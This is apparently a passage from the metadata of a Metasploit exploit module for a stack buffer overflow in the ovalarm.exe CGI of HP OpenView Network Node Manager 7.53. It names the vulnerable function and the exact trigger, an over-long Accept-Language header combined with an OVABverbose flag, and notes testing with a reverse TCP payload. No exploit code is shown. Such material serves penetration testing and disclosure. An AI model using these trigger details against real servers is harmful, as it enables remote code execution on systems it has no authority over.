   'Name'           => 'HP OpenView Network Node Manager ovalarm.exe CGI Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53.
    By sending a specially crafted CGI request to ovalarm.exe, an attacker can execute
    arbitrary code.

    This specific vulnerability is due to a call to "sprintf_new" in the "isWide"
    function within "ovalarm.exe". A stack buffer overflow occurs when processing an
    HTTP request that contains the following.

    1. An "Accept-Language" header longer than 100 bytes
    2. An "OVABverbose" URI variable set to "on", "true" or "1"

    The vulnerability is related to "_WebSession::GetWebLocale()" ..

    NOTE: This exploit has been tested successfully with a reverse_ord_tcp payload.
